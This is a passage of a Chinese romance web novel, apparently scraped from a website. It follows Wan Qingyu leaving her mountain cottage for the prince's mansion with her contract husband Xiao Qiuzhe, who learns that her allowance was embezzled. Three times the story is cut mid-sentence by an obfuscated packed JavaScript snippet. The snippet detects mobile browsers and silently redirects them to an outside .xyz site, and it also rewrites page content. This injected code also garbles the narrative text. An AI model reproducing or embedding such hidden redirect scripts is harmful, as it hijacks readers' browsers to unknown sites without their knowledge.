经过这场病痛,玉儿算是明白了,天下哪有那么多岁月静好?除非自身实力雄厚,否则一旦断了银钱,连生存都成问题。 玉儿不便打扰二人,匆匆吃过饭便退了出去。 萧秋折并无胃口,只简单喝了几口粥。 他望了望屋外天色,觉得实在不宜久留。再耽搁下去,那些本就棘手的事务只会更难处理。 晚青妤迟迟不给答复,他已失了耐心,干脆道:“你有什么条件,一次性说出来。” 二人虽接触不多,但萧秋折对晚青妤的了解颇深。她聪慧果决,极有主见,耐心十足。她可以对你温柔浅笑,也可以言辞犀利,毫不留情。 她这般态度,显然是对他提出的条件不甚满意。 晚青妤夹了一块肉,慢条斯理地吃着,见他已不耐烦,抬眸看他,淡淡道:“我的条件不多。其一,不许限制我的人身自由。你我本是利益结合,并无实质婚姻关系,仍是独立个体。日后我做任何事,见任何人,你都不得过问,更不得干涉。” 萧秋折静静看着她,等她继续说下去。 晚青妤又吃了一块肉,继续道:“其二,在亲王府中,我可以扮演贤妻,但你不许插手或指点,只需配合即可。其三,亲王府的银钱任我花用,任何人不得过问。其四,我不喜欢江侧妃,她若为难我,你得护着我。” 她想了想,暂时想不出别的,放下筷子,道:“暂且这些,日后若想起别的,再告诉你。” 说完,她抬眸看他,等他答复。 萧秋折见她吃饱,掏出一方帕子递给她。 帕子质地极佳,一看便知价值不菲。晚青妤伸手欲接,却又缩了回来,觉得这是他的私人物品,不便接受。 萧秋折微微倾身,将帕子塞入她手中,淡淡道:“昨日我便说过,亲王府的银钱任你花用,无人敢拦。你回去后,京城或许会有些风波,但你不必担心,我会配合好你。江侧妃那里,我也会护着你,不让她为难你。还有你二哥的事,我自会出手相助。诸多事情你无需多想,安心随我回去便是。” 他言辞恳切,毫无敷衍之意。说罢,站起身,语气缓了了许多:“我须得回去了,你快些收拾,我们即刻动身。” 晚青妤握着他递来的帕子,丝滑的触感令人舒适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000647|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,帕上还带着淡淡的竹叶清香。 他的时间确实宝贵,出来这么久,是该回去了。既然他已答应她的条件,她也不必再犹豫。 她起身道:“好,你稍等片刻。” 她卷起袖子,准备收拾碗筷,忽又停下,看了他一眼,眉眼弯弯,笑道:“麻烦你帮忙洗碗,我去收拾东西。” 洗碗这等事,萧秋折此生从未做过。他位高权重,双手不沾阳春水,今日竟被她吩咐做这些。 晚青妤在此处住惯了,许多事情都是亲力亲为,一时未觉有何不妥,说完便转身出门。 她唤来玉儿,二人一同收拾需带回京城的物品。虽东西不多,但有些重要物件与书籍需要带走。 玉儿喜形于色,几乎要哼起歌来。看来她是真的过够了这穷苦日子,也真心希望晚青妤日后能过得更好。 晚青妤一边收拾,一边琢磨,总觉得哪里不对,却又一时想不起来。她问玉儿:“你觉得萧秋折的话可信吗?” 玉儿从不妄议主子,何况正主就在院中。她回道:“姑爷这样做,自有他的道理。” 晚青妤闻言哭笑不得。这小丫头莫不是被他收买了? 她思索片刻,又问:“那付钰书呢?你觉得他的话有几分可信?” 玉儿自幼跟随晚青妤,深知她的过往,尤其是她年少时与付钰书的那段情缘。 付钰书确实是个好公子,对晚青妤关怀备至,有求必应。他不仅能给她情绪上的慰藉,还对晚府的事情亲力亲为。 只是,他性子执拗,尤其是前两年与父亲闹矛盾时,一气之下离家出走,一去便是许久。待他归来,小姐已嫁作他人。任凭他如何懊悔流泪,也无济于事。 二人就此错过一段良缘。若他当时感情再浓烈些,性子再稳重些,也不至于抛下小姐离去。毕竟那时大家都到了谈婚论嫁的年纪,谁能等得起? 当时晚府老爷夫人皆十分喜欢他,两家门当户对,只要他去提亲,这桩婚事必然能成。如此,小姐也不至于被逼无奈嫁入亲王府,而后隐居山林,过这般穷苦日子。 如今,他中了探花,在京城风光无限,又想起了小姐。玉儿总觉得,这般情形,不太合适。 她虽无权干涉小姐的婚事,但作为旁观者,却看得明白。即便小姐日后与付钰书再续前缘,嫁入付家,后半生也未必好过。毕竟小姐并非头婚,即便付钰书不在意,付家其他人也难免介怀。 付钰书再好,又有何用? 玉儿沉思片刻,回道:“付公子人不错,又与小姐一同长大。只是太久未接触,不好判断了。” 不好判断,玉儿一句话,表明了自己的立场。 晚青妤不再多言,默默收拾东西。 二人收拾妥当,走出房间。萧秋折已洗净碗筷,立于院中。 今日天气晴好,阳光明媚,碧空如洗。山林间郁郁葱葱,春花点缀,生机盎然。 萧秋折转过身,恰逢灼灼日光倾洒,映在他青隽的面容上,只稍眉眼轻轻一动,便能牵人心弦。 他见她已打点妥当,眉头终是缓缓舒展。 山间风光旖旎,居于此地久了,连人的气质都被这片灵秀所染。 他静静看着她。 曾经那个在每封信上都会写上一句“我心如春风拂柳”的小姑娘,已经长大,但亦不似往昔。 忽而忆起他们成婚时。 5. 第 5 章 那时她年方十七,样貌娇俏可人,眉眼间还带着几分少女的青涩。一双杏眼明亮如星,说话时嗓音温柔,面上总是带着浅浅的笑意。虽然她待人温和,但是却极有主见。她可以对你和善,也可以附和你的想法,但是妄想左右她的心思。 这样的她,他早在两年前便已看透。如今时隔两年多,她身上的青涩褪去了不少,取而代之的是一种娴静随和的气质,仿佛对世事都带着几分淡然。她的身量似乎比从前高了些许,容貌也愈发精致,杏眼桃腮,雪肤乌发,红唇娇艳,那份与生俱来的贵女风姿依旧未减分毫。 京城中虽不乏姿容出众的女子,但像晚青妤这般既吸引人又难以靠近的,却是独一份。 上次见她,已是半年前。那时她回京城为父亲和兄长祭拜,作为女婿的他自然也要到场。两人许久未见,甫一见面,竟都愣了一瞬,仿佛彼此是陌生人一般。那时的她面容憔悴,眼中满是忧伤。她只是淡淡瞥了他一眼,便转身离去,连一声招呼也未打。 祭拜结束后,他去找她,恰逢她正在房中与母亲说话。他在外等了许久,却始终未见她出来。后来方齐过来叫他,说有要紧事需他处理,他只得匆匆离去。 再相见,便是现在。 她一步步向他走来,冰肌玉骨,卓越多姿,耀眼得令人移不开眼睛。他侧目看向一旁的桃花树,等她走到跟前,接过她手中的包袱,转身朝院外的马车走去。 晚青妤和玉儿出了院子,站在院门外停下,望着这座住了两年多的小院,心中满是不舍。这里的一砖一瓦、一草一木,都承载着她们的快乐时光。院里的那片青菜还未长高,怕是吃不上了。 萧秋折将行李放上马车,瞥见她神色忧伤,轻声说道:“我会派人过来照看。” 割舍总是最考验人心的事。晚青妤咬了咬牙,转身上了马车。 马车是萧秋折租来的,车夫是镇上的人,名叫二虎。他认得晚青妤。晚青妤在这里住了两年,从未提起过自己已婚。今早这位公子找到他时,自称是晚青妤的相公,着实让二虎吃了一惊。二虎没想到晚青妤竟有这样一位矜贵俊美的夫君,还是京城人士。 萧秋折最后上了马车,刚坐下,便听晚青妤道:“从村头过吧,我想去和李婆婆道个别。这两年多来,她帮了我不少忙。我这次生病,还借光了她家的银子。” 萧秋折应了一声,掀开帘子吩咐车夫改道。 不多时,马车到了村头。此时的村头早已围满了人,见马车过来,众人纷纷议论起来。 “快看,二虎带着他们来了,看来是真的要走了。” “二虎说那相公生得极好,一看就是达官贵人家的公子,矜贵得跟仙人似的,出手还特别阔绰。” “他当真是青妤的相公?怎么这么久都没听青妤提起过?我还以为她未出嫁呢!” “二虎说,是那男子亲口告诉他的,确实是青妤的相公,不然青妤也不会跟他走。” …… 马车停下,晚青妤和玉儿先下了马车。萧秋折本不打算下去,但听到那些议论声,便整理了一下衣衫,也跟着下了车。 原本喧闹的村头,在他下车后瞬间安静下来。村民们看着这位气宇不凡的贵公子,不禁倒吸一口凉气。这可比二虎描述的还要俊美百倍,单单那份气质,便已无人能及。 晚青妤没想到村头会围这么多人,不善交际的她,脸颊瞬间泛红。她向几位熟悉的村民打了招呼,随后在人群中找到了李婆婆。 李婆婆年过六旬,身形有些佝偻。她泪眼婆娑地握住晚青妤的手,哽咽道:“青妤啊,婆婆没想到你真的要走了,婆婆舍不得你啊……” 晚青妤在这两年里与村民们相处得极好。村子虽小,住宅稀疏,但这里的人都很和善热情。她反握住李婆婆的手,温声道:“青妤也舍不得婆婆。婆婆放心,我以后会常回来看大家的。您在家要多注意身体,好好休息。” 李婆婆红着眼睛连连点头。她身后的介凌走上前来,看着晚青妤,眼中满是不舍。介凌是李婆婆的孙子,今年一十六岁,生得眉清目秀,性格腼腆,平日里常帮晚青妤做些力气活。 晚青妤家中有什么干不动的累活,玉儿总是去找他帮忙,而他每次都会非常热情地相助。介凌喜欢读书,也会常来借书,时间久了,两家人便熟络起来。 现在晚青妤突然要走,介凌自是不舍的。他眉目温润,因在山间长大,身上有一种干净清爽的气质,说起话来如翠竹般清朗。他唤了一声“青妤姐姐”,随后问道:“姐姐这一走,弟弟不知何时才能再见。前几日我们探讨的那篇文章还未有结论,姐姐突然走了,我日后该找谁探讨呢?” 晚青妤轻轻笑了笑,从袖中掏出一本手记递给他:“那篇文章我写了自己的见解,给你看看。里面还有一些其他文章的见解,也希望对你有所帮助。” 介凌接过手记,感激道:“多谢姐姐,我会认真看的。我听说姐姐要去京城,等我年中进京赶考,不知能否去看望姐姐?” 介凌自幼喜爱读书,因家中条件不好,所读之书多是借来或捡来的。他日夜苦读,只为有朝一日能走出山区,闯出一片天地。他极能吃苦,寒窗苦读十几载,终是在今年通过乡试,获得了进京赶考的机会。 晚青妤很欣赏他,觉得他身上有一种不服输、不向命运低头的韧劲。她相信他日后定能出人头地。她依旧笑得温和,回道:“我自是欢迎你到京城来。等你到了京城,随时都可以来找我。届时你可以去晚府,我会将我二哥介绍给你认识。” 晚青妤的二哥晚青禾是翰林院侍读学士,很赏识聪明好学的才子。他若见了介凌,定会喜欢。 介凌激动地向晚青妤躬身行了一礼。这一礼中包含了诸多情感,也夹杂着些许私人的情愫。介凌虽只是个十六岁的少年,却有着超越年龄的成熟与稳重。 他与晚青妤说完话,目光扫过她身后的萧秋折,眸光微微一沉,并未打招呼。 萧秋折迎上他那意味不明的目光,似乎嗅到了某种信息,唇角微不可见地挑了一下。 晚青妤又向几位熟悉的村民一一告别,随后上了马车。 三人坐在马车里,玉儿总觉得有些不自在。她们与姑爷并不熟,坐在封闭的空间里,气氛难免尴尬。小姐垂眸不语,萧秋折也端坐着沉默。 玉儿思量一会,对晚青妤道:“小姐,我有点不舒服,想坐外面透透气。” 晚青妤关切地问:“严重吗?要不要停下来休息?” 玉儿急忙摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000648|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不严重,就是胸口闷得慌,想吹吹风。” 玉儿的意思很明显,萧秋折一眼便看了出来。晚青妤却只顾着担心,并未察觉这是在给她和萧秋折制造独处的空间,回道:“那好,你快去透透气,若还不舒服,尽快告诉我。” 玉儿应了一声,出了马车。 此时,马车里只剩下晚青妤和萧秋折。二人本是夫妻,然坐在一起别别扭扭极不自在。 晚青妤回想着在晚家时做的账簿,突然有些后悔跟他回京城。晚府虽大,但只是个官家府邸,账目并不复杂。再加上她父亲没有纳妾,为人清正廉明,账簿做起来很是简单。 反观亲王府,一个皇室大家族,宅邸大得惊人,上上下下几十口人。他父亲萧亲王又是个能娶的,住进亲王府的妃妾就有三四个,外面养着的还不知有多少。萧亲王自多年前生病以后,便不再参与朝政,也不管亲王府的事务,整日无所事事,成了名副其实的闲散王爷。 萧秋折有两个弟弟、一个妹妹,均是江侧妃所生。他们年纪不小,却没有什么本事,只有二弟萧郢做了个小官。如今整个亲王府都靠萧秋折一人支撑,权势、地位和金钱几乎都是他带来的。但他在亲王府的地位也非同一般,上至王爷,下至奴仆,个个对他毕恭毕敬。 不过,府中也不乏心怀不轨之人,背地里常搞些小动作。 萧秋折家里的这些事,晚青妤以前略有耳闻。虽未深入了解,但光是想想便觉得窒息。帮他管理账簿,不亚于让她去考状元。 她越想越后悔,秀眉微蹙,小嘴时不时地撅一下。 她懊悔的模样被萧秋折尽收眼底。他清声说道:“我会找几个账房先生帮你。” 亲王府的情况,萧秋折比任何人都清楚。晚青妤所担心的,也正是他所担心的。 晚青妤吐了口气,稍稍放松了些。 这里离京城颇远,乘坐马车需三四个时辰,一路下来也挺累的。昨日萧秋折竟冒着大雨,骑了两个多时辰的快马赶来,着实让她惊讶。其实这种事,他只需派个属下过来便可,不必亲自跑一趟。 就算来,也不必大半夜冒雨前来。 晚青妤想到此处,抬眸看向他,总觉得他有些不一样了。 她看得直接,一双明眸审视着他,小脸上满是疑惑。 萧秋折瞥她一眼,视线还未对上便移开了。他看得懂她这般神色,疑惑中带着一丝戒备。她应该在心里衡量着,如何做才不会欠他人情。若他不说需要她帮忙,依她的性子,决然不会跟他回京城。 她看似温柔,笑容甜美,眸光清澈无害,实则浑身是刺,一靠近便扎得人生疼。尤其是对他,这些刺仿佛专为他而生。 晚青妤一边思索一边看他,看着看着,发现他的眼睫轻颤了一下。 马车里很安静,车轱辘碾过坑洼不平的山路,晃晃悠悠。前面有段路不好走,马车颠簸得厉害,颠得晚青妤有些不舒服。 马车行至一座山下,车轱辘突然轧到一块山石,马车顿时剧烈晃动,晃得晚青妤猝不及防地去抓东西,结果身子一歪,竟朝一旁的车框撞去。 萧秋折本在心中思量事情,待马车晃动之际,一只手已迅速地伸出,在她脑袋撞下去的瞬间,稳稳地托住了她的额头。 6. 第 6 章 外界传闻中的萧秋折,与晚青妤眼中的他,皆是那红尘不染的清冷公子。他身上常年带着霜雪般的寒意,靠近一点便觉得冷意逼人,与少年时期的他判若两人。 晚青妤虽不清楚他身上究竟发生过什么,但隐约听说他曾遭遇过一场大劫,自此性情大变,变得冷漠疏离,不喜与人亲近。就连成婚那日,他也只是与她简短地说了几句话,随后便拿出契约书让她签字。她签完后,他便径直去了偏房歇息。 两人最亲密的举动,不过是拜堂时为了礼仪而短暂牵了一下手。如今,她的额头突然被他托住,这突如其来的肌肤接触不禁让她身子一僵。 他的手修长洁净,指骨匀称,手背上筋脉纹路清晰,凑近了还能闻到淡淡的清香。 晚青妤紧贴着他,一时忘了撤身。马车里静默片刻,她才缓缓动了动脑袋,垂眸退开。萧秋折蜷了蜷手指,将手收回,听她冷不丁地道了一声:“谢谢。” 萧秋折这个反应连他自己都觉得意外,心里明明还为一件往事耿耿于怀,身体却不听使唤地行动了起来。 他蜷了蜷手指,待马车平稳后,开始向她介绍亲王府的情况。他的语气还算随和,谈及家中事务时,透着一丝无奈:“已经好多年了,我父亲不再过问朝政,也不管亲王府的事,每日除了下棋作画,便是听美人弹曲。” 说到此处,他微挑眉头,唇边露出一丝不屑,继续道:“半年前,他看上了一位琴艺高超的江南女子,将她带回了亲王府。因我不同意,他便一直未敢纳她为妾,但那女子却赖在府中不走。我父亲护她护得紧,连祖母都管不了。感情之事我不愿多管,只要他们不惹事,我便睁一只眼闭一只眼。只是,从几个月前开始,亲王府里怪事频发。先是家中祖传的古董不翼而飞,接着是一批银钱莫名消失,随后父亲的侧妃与妾室开始争抢家产,几个弟弟也在外频频惹事。” “我平日事务繁忙,几乎每日不着家,即便找了最信赖的人管理亲王府,依旧闹得鸡犬不宁。祖母年事已高,为此焦灼不安,身体一日不如一日。” 他冷笑一声,谈及这些,眼中尽是无奈与疲惫:“如今的亲王府,就像一盆即将散落的沙,谁都想从中分一杯羹。若再不整顿,我多年的努力怕是白费了。” 他说着,抬眸看向她,声音清透:“归根结底,还是因为亲王府里缺少一个主事之人。” 缺少一个主事之人,言下之意,便是缺少一位女主人。 晚青妤掀了掀眼皮,恰好对上他的目光,随即垂下眼,沉吟片刻,道:“八个月的时间,足够你寻一位女主人了。届时我会与你和平和离,腾出位置。” 晚青妤向来识时务,互帮互助之后,无论吃亏与否,绝不纠缠对方。成婚两年多以来,为了不给他添麻烦,她见了他也都是躲着走,哪怕亲王府给的银子不够花,也不会向他抱怨和吐露只言片语。 再找一个女主人?腾出位置? 萧秋折听闻这话,良久未语,只是笔挺地坐着,后续的话也未再说。 晚青妤问他:“到了亲王府,我需注意什么?你父亲的那位情人,我该如何称呼?” 他父亲毕竟还未正式纳妾,称呼上叫什么都觉得不妥。 不知从她哪句话开始,萧秋折便生了气。她问话,他也不答,那股清冷不可靠近的气质比之前更甚。 晚青妤见他不答,识趣地垂下眼,不再多问,只是心中没底。如此庞大复杂的亲王府,她要如何帮他?这差事,感觉与他帮她找出杀父凶手一样艰难。 直到马车驶入京城,两人都未再言语。中途歇息时,萧秋折也只是在马车内静坐。 马车进城后,晚青妤掀开车帘,四下张望。她已许久未回京城,城中依旧热闹非凡,许多熟悉的店铺与酒楼似乎翻新过,显得更加繁华。 萧秋折见她眸光闪动,似有些激动,低声问:“要回晚府吗?” 一路上,她未提一句晚府,也未问及她二哥的事,有些奇怪。 晚青妤摇摇头,回道:“先不回,待我在亲王府安顿好再回去。” “你二哥的事,你可有听说?” “听说了。” “为何不找我?” “我相信我二哥能处理好。” “付家人在帮他?” “嗯。” 嗯??? 自己的大舅哥出事,她不来找他,反倒去找外人。他倒要看看,那位探花郎有多大本事,能将她二哥捞出来。 马车在亲王府门前停下,萧秋折先下了车,掀开车帘,等她下车。晚青妤扶住他的胳膊,下了马车,抬头看了看亲王府的门匾,不由地深吸一口气,心中有些紧张。 萧秋折命人拿了行李,带着她与玉儿进了亲王府。晚青妤虽曾来过亲王府,但再次踏入,仍被这偌大辉煌的宅邸所震撼。整个京城,除了皇宫,恐怕再无第二处宅院能与亲王府媲美。 管家迎了上来,见到晚青妤,震惊得愣了片刻,随即行礼,有些不确定地唤了一声:“少夫人。”他定睛看了看晚青妤,怎么也没想到,公子竟一声不响地将少夫人接了回来。 晚青妤和善地回了个礼。 萧秋折带着晚青妤往他住的翠玉轩走去,边走边问管家:“祖母和王爷在府中吗?” 管家紧跟其后,回道:“太妃在,这几日诵经,吩咐府上人莫去打扰。王爷今早带着周姑娘去江州赏花了。” 萧秋折未作声,大步前行。晚青妤快步跟上,心想着管家口中的周姑娘,应当就是王爷的那位情人了。 翠玉轩极大,布置雅致。一进院,便见两排郁郁葱葱的翠竹,院中还有一池清塘,塘边种满了各式花草。那些花儿晚青妤都认得,她在山间住时也曾种过许多。 萧秋折带她进了前堂,吩咐管家去找两位嬷嬷来帮她收拾衣物。他让晚青妤在前堂稍坐,自己回卧房换了身衣服。 晚青妤安静地坐在前堂等候,虽此处也算是她的家,她却感到陌生与不自在。 不多时,萧秋折换了一袭简约的白色锦衣出来,款式宽松,透着几分居家的舒适感,也衬得他慵懒温和了许多。此时已近申时,他这般穿着,想必今日不打算外出办事了。 晚青妤看着他,被他那与众不同的气质所吸引,一时有些局促地站起身。 萧秋折见她有些紧张,递给她一个眼神,示意她坐下。他撩起衣摆,坐在她身旁,道:“我已吩咐厨子备饭,你先用些膳食,稍后洗漱一番,好好休息。” 坐了数个时辰的马车,确实有些疲惫。 晚青妤问他:“江侧妃那里,要去请安吗?” 萧秋折的母亲去世后,亲王府中便以江侧妃地位最高。晚青妤虽不喜她,但她毕竟是婆母,总得去打个招呼。 “不必。”萧秋折干脆道,“估计不消片刻,她便会自行前来。” 府中每个人的性情与行事风格,萧秋折了如指掌。以江侧妃的性子,怕是他们饭还未用完,她便已赶到。 “公子。” 这时,方齐与方于兄弟俩从外赶回,见到晚青妤,两人同时愣在门前。兄弟俩对视一眼,难掩惊讶。公子竟一声不响地将晚青妤接了回来。昨日他连夜赶往山间小院,他们还以为他只是担心晚青妤,未曾想竟是去接人的。 萧秋折瞥了他们一眼:“愣什么?还不过来行礼。” 兄弟俩回过神来,急忙上前行礼:拜见少夫人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000649|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甫一听“少夫人”,晚青妤有些不好意思。 她看着这对双胞胎兄弟,一时眼花。两人容貌、身高、衣着皆一模一样,实在难以分辨谁是谁。 兄弟俩见她愣住,其中一人上前介绍道:“少夫人,我是方齐。” 晚青妤点点头,回以一笑。 另一人接着道:“少夫人,我是方于。” 晚青妤又点点头,笑了笑。 尽管兄弟俩都已自我介绍,站在一起后,晚青妤依旧分不清谁是谁。 方齐看了看萧秋折的穿着,欲言又止。 萧秋折看出他的心思,沉声道:“外头的事今日你先顶上,明日我再去处理。” 明日再处理?这可不像公子的作风。公子权柄在握,事务繁重,三省六部都有他需管理的事务,而且每月还需抽出几日为小皇子授课。多年来,他从不拖延任何事,也未曾舍得休息片刻。今日倒是破天荒的头一回。 “那翰林院的事呢?”方齐问。 翰林院的事关乎言书堂,也关乎晚青妤的二哥晚青禾。此事迫在眉睫,岂能置之不理? 提及翰林院,萧秋折侧目看了晚青妤一眼。晚青妤抓了抓袖子,不欲多言。 她不开口,萧秋折也不追问她,对方齐道:“翰林院的事暂且不管,付家人已着手处理。” 付家人?付钰书? 方齐疑惑地皱了皱眉。虽说付钰书的父亲是礼部尚书,但权势与能力远不及他家公子。公子为此事前前后后奔波多日,怎的如今说不管就不管了?言书堂涉及大批淫词艳曲,此事若查不清,可是杀头大罪。 方齐看了看晚青妤,见她垂眸不语,心中更为疑惑。自家夫君就在身旁,她不去求助,反倒找外人帮忙。 “莫要浪费时间,去办你们的事。”萧秋折冷声打发他们离开,语气中明显带着不悦。 兄弟俩只得行礼退下。 厨房管事前来请他们用膳,二人起身一前一后前往膳房。 两名小丫鬟端来水盆,为晚青妤挽袖净手。晚青妤有些不好意思地笑道:“我自己来便好。” 她虽出身官宦之家,却并非娇生惯养之人,洗漱更衣向来不需人伺候。 她将手放入水盆中清洗,手指纤细白净,宛如白玉。两名小丫鬟看得眼睛发亮。她们此前未曾见过少夫人,今日初见,方知传闻不虚。少夫人不仅容貌出众,连手都如此赏心悦目。 晚青妤净完手,拿起帕子擦拭,随后坐在饭桌前。饭菜极为丰盛,山珍海味俱全,有些珍贵食材晚青妤甚至未曾见过。 萧秋折净完手,在她身旁坐下,道:“日后想吃什么,尽管吩咐厨房。” 晚青妤应了一声,拿起筷子用膳。她吃饭时极为安静,不爱多言,挑了几样爱吃的菜,不一会儿便饱了。 萧秋折依旧胃口不佳,匆匆吃了几口便放下筷子。 晚青妤自认识他以来,便发现他吃饭颇为困难,每次都是简单几口,似乎食欲不振。也不知是否因与她一同用膳的缘故。 二人用完膳,晚青妤想稍作休息,萧秋折便带她回了卧房。 卧房宽敞,布置整洁雅致,内有许多书籍字画,还有几盆幽雅的兰花。这是萧秋折此前居住的卧房,屋内仍飘散着他身上特有的淡淡清香,被褥也是男子所用的颜色。 晚青妤停在桌前,愣了愣,疑惑地看向萧秋折。 萧秋折迎上她的目光,道:“你先在此休息,稍后再让人收拾。” 晚青妤觉得不自在,未急着上床歇息,见他没有离开的意思,且坐下来倒了杯茶喝,脸颊突然莫名其妙地红了。 轻声问他:“你……今日不去忙吗?” 7. 第 7 章 晚青妤知他案牍劳形,刺促不休,不愿因己之故耽误他处理要务。 萧秋折心知她在催促自己离去,亦明白她不愿与他有亲近之举,哪怕只是睡他睡过的床榻。 他淡淡“嗯”了一声,唤来屋外的嬷嬷,为她换了一床新铺盖。 晚青妤察觉他因她的介意而不悦,心中却无甚波澜。毕竟寄人篱下,总得低眉顺目。 萧秋折待嬷嬷收拾完床铺,并未立即离去,而是抬眸望向屋外,看了看天色。 此时,晚青妤忽觉精神一振,倦意全无。她唤来玉儿,取出行李开始收拾。她带来的物件不多,其中有一个精致的木盒子,内装重要之物。她问萧秋折何处放置为宜。 萧秋折指了指书柜,上前整理书籍,为她腾出一处空位。 书柜位置过高,晚青妤踮起脚尖,正欲放置,手上一滑,盒子倏然坠落,内中物什瞬间散落一地。 她轻呼一声,急忙蹲身去捡。 萧秋折见状,方觉自己疏忽,未顾及她的身高,歉然蹲下身,帮她拾捡。 地上物什纷杂,发饰、手串、信笺、玉佩……还有一片金叶子。 金叶子? 他伸出的手顿在半空,思绪骤然回溯至七年前那段模糊的记忆。这片金叶子,似乎是他当年赠予她的,她竟然还留着。 他拾起金叶子,目光落在一沓信笺上,几封散开的信面上赫然写着“钰书”二字。 钰书,付钰书。 她的竹马付钰书。 这些信,是付钰书写给她的?抑或是她写给付钰书的?何时所写?成婚前,还是成婚后? 晚青妤见他紧盯信笺,急忙将信笺抓在手中,又捂住一旁的一枚玉佩。 她动作急促,神色间透着几分心虚。 他抬眸看她,她一双明眸清澈,表面温和无害,实则心中所想,他一清二楚。 他微蹙眉头,将拾起的金叶子随手抛至她面前,冷声道:“倒是怀旧,几年前的金叶子还留着,我还以为你早拿去治眼盲了。” 治眼盲? 他冷不丁一句,晚青妤一时未解其意,无辜地眨了眨眼,将捂在手下的玉佩收入袖中,又捞起木盒子,将信笺放入,最后拾起他抛来的金叶子,在衣袖上轻轻一拭,未作回应。 这片金叶子,是他十七岁那年于城门口赠予她的。彼时她视若珍宝,日日取出端详。后来她与付钰书情愫渐生,金叶子便被她渐渐遗忘。如今突然重现,还是在萧秋折面前,气氛瞬间变得微妙。 他那句“眼盲”何意,她未及深思。 萧秋折起身,看着她收拾妥当,帮她将木盒置于书柜上。 房中一时静默。 晚青妤又慢吞吞打开衣物包裹,内中仅有两三件旧衣。她持衣走至衣柜前,打开柜门,见内中一排排男子锦衣,每一件都是质地华贵,价值不菲。 她怔了一瞬,手中衣物顿显寒酸。 她虽不喜奢华,但如今身处亲王府,身份非同寻常,总不能让旁人看了笑话。 “早知每月一百两银钱不够花,我便让人多送些了。”萧秋折察觉她的窘迫,语气中带着几分歉然。 她本是养尊处优的世家千金,嫁他后却过得如此清贫,令他心中五味杂陈。 晚青妤转头看他,轻声道:“哪有一百两?每月只有十两。” 十两于寻常百姓虽不算少,但她与玉儿二人吃穿用度,难免捉襟见肘,平日连病都不敢生。 “十两?”萧秋折眸光一沉,眉头紧锁,“你只收到十两?从何时开始的?” 晚青妤如实答道:“自两年前便是如此,每月十两银钱,最后两月,连十两也无。我以为是你的吩咐。” “怎会是我的吩咐。”萧秋折神色震惊,“我每月命人送一百两过去,逢年过节会另外多加几百两,一年下来至少两千两。” 如此之多? 晚青妤与玉儿对视一眼,难道这两年他们错怪了萧秋折?或者有人从中作梗? 回想起两年前,她初至山间小筑时,未曾料想他会赐予月钱,更未动过花用亲王府银两的念头。那时晚家尚是钟鸣鼎食之家,衣食无忧,她出阁之际,更是随了丰厚的嫁妆,单是那些金银细软,便足以让她一生无忧。 然好景不长,未及半载,晚家便接连遭遇变故。先是她的舅舅在外惹了祸端,丢了官职,家产尽数被查封。父亲为救舅舅,花了不少家财,却未能挽回颓势。随后,大哥被皇家赐婚,晚府喜事连连,却不过是昙花一现,祸事开始频发。 最严重的一次是,彼时有位官员诬告父亲贪赃枉法,私吞赈灾银两,皇上震怒,查封了太保府,家中财物尽数充公,父亲更被投入大牢。 她为救父亲,四处奔走,耗尽嫁妆,却依旧未能救出父亲。最后还是萧秋折出面彻查,才洗清了父亲的冤屈。 然而,祸不单行,家中接连出事,最终父亲和兄长仍未能逃过厄运,惨遭杀害。 后来,直至二哥进入翰林院,晚府才稍稍宽裕。 家中变故,对她而言,犹如晴天霹雳,而后她亦身无分文,只得依赖亲王府接济。十两银子虽微薄,却也能勉强维持生计,她从未向萧秋折提及此事,更怕家人担忧,一直谎称萧秋折待她极好,无需他们挂心。 玉儿替晚青妤委屈道:“姑爷,这两年小姐过得艰难,小病忍着,大病才舍得吃药,一年到头仅有两身衣裳,天冷时买不起厚衣,连门都不敢出,火炉也点不起,只能硬生生挨冻。春夏尚可,种些蔬菜换银钱买书,但冬日实在难熬。上月亲王府断了银钱,一日三餐减为两餐,最后只剩一顿。小姐熬不住病倒,为给她治病,村里能借的银子都借光了。这次若非……” 玉儿哽咽难言,未再继续。 萧秋折听完,心中极为疑惑和惭愧,只是两年之久晚青妤居然一次也未向他提及,他派去山间守护她们的侍卫也从未向他禀告过,难不成其中出现了内鬼? 心情极其复杂,他走至晚青妤身旁,将她手中衣衫挂入衣柜,沉声道:“是我疏忽,此事我定会查明,绝不再犯。” 未料她这两年竟过得如此艰难。 晚青妤则轻轻一笑道:“无碍,都过去了。我一直相信你,也猜出许是亲王府出了问题才会如此。” 晚青妤心胸宽广,不愿纠结过往给自己徒增内耗。 萧秋折因她那句“我一直相信你”沉默良久。 